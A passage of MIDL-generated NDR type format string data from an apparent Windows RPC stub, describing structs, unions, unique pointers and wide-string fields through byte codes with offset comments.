*/\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 900 */\tNdrFcShort( 0xf4 ),\t/* Offset= 244 (1144) */\n/* 902 */\tNdrFcLong( 0x8 ),\t/* 8 */\n/* 906 */\tNdrFcShort( 0x154 ),\t/* Offset= 340 (1246) */\n/* 908 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (907) */\n/* 910 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 912 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (914) */\n/* 914 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 916 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 920 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (924) */\n/* 922 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 924 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 926 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 928 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 930 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (932) */\n/* 932 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 934 */\tNdrFcShort( 0x30 ),\t/* 48 */\n/* 936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 938 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (948) */\n/* 940 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 942 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 944 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 946 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 948 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 950 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 952 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 954 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 956 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 958 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 960 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 962 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 964 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 966 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 968 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 970 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (994) */\n/* 972 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 974 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 976 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 978 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 980 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 982 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 984 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 988 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 992 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 994 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 996 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 998 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1000 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1016) */\n/* 1002 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1004 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1006 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1008 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1010 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1014 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1016 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1018 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1020 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1022 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1024 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1026 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1028 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1030 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1032 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1034 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1036 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1038 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1044 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1046 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1048 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1050 */\tNdrFcShort( 0xffb2 ),\t/* Offset= -78 (972) */\n/* 1052 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1054 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1078) */\n/* 1056 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1058 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1060 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1062 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1064 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1066 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1068 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1072 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1076 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1078 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1080 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 1082 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1084 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (1104) */\n/* 1086 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1088 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1090 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1092 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1094 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1096 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1098 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1100 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1102 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1104 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1106 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1120 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1122 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1124 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1126 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1128 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1130 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1132 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1134 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1136 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1138 */\tNdrFcShort( 0xff5a ),\t/* Offset= -166 (972) */\n/* 1140 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1142 */\tNdrFcShort( 0xffaa ),\t/* Offset= -86 (1056) */\n/* 1144 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1146 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1156) */\n/* 1148 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1150 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1152 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1154 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1156 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1158 */\tNdrFcShort( 0x98 ),\t/* 152 */\n/* 1160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1162 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (1190) */\n/* 1164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1166 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1168 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1170 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1172 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1176 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1178 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1180 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1182 */\tNdrFcShort( 0xffde ),\t/* Offset= -34 (1148) */\n/* 1184 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1186 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1188 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1198 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1200 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1202 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1204 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1214 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1216 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1218 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1220 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1222 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1224 */\tNdrFcShort( 0xff04 ),\t/* Offset= -252 (972) */\n/* 1226 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1228 */\tNdrFcShort( 0xff54 ),\t/* Offset= -172 (1056) */\n/* 1230 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1232 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1234 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1236 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1238 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1240 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1242 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1244 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1246 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1248 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (1294) */\n/* 1250 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1252 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1254 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1256 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 1258 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1260 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1262 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1266 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1270 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1272 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1274 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1276 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1278 */\tNdrFcShort( 0xc4 ),\t/* 196 */\n/* 1280 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1282 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1288 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1292 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1294 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1296 */\tNdrFcShort( 0xe0 ),\t/* 224 */\n/* 1298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1300 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (1342) */\n/* 1302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1304 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1306 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1308 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1310 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1316 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1318 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1320 */\tNdrFcShort( 0xff54 ),\t/* Offset= -172 (1148) */\n/* 1322 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1326 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1328 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1330 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1332 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1336 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1338 */\tNdrFcShort( 0xff42 ),\t/* Offset= -190 (1148) */\n/* 1340 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1350 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1352 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1354 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1356 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1374 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1376 */\tNdrFcShort( 0xfe6c ),\t/* Offset= -404 (972) */\n/* 1378 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1380 */\tNdrFcShort( 0xfebc ),\t/* Offset= -324 (1056) */\n/* 1382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1386 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1390 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1392 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1394 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1396 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1398 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1400 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1402 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1404 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1406 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1408 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (1250) */\n/* 1410 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1412 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1414 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1416 */\tNdrFcShort( 0xff70 ),\t/* Offset= -144 (1272) */\n/* 1418 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1420 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1424 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1424) */\n/* 1426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1428 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1430 */\tNdrFcShort( 0xfdba ),\t/* Offset= -582 (848) */\n/* 1432 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1434 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1436 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1438 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1440 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (1502) */\n/* 1442 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1444 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1446 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1462) */\n/* 1462 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1464 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1470 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1474) */\n/* 1472 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1471) */\n/* 1474 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1476 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1478) */\n/* 1478 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1480 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1490) */\n/* 1486 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1488 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1490 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1492 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1494 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1496 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1498 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1500 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1502 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1504 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1508 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1508) */\n/* 1510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1512 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1514 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (1442) */\n/* 1516 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1518 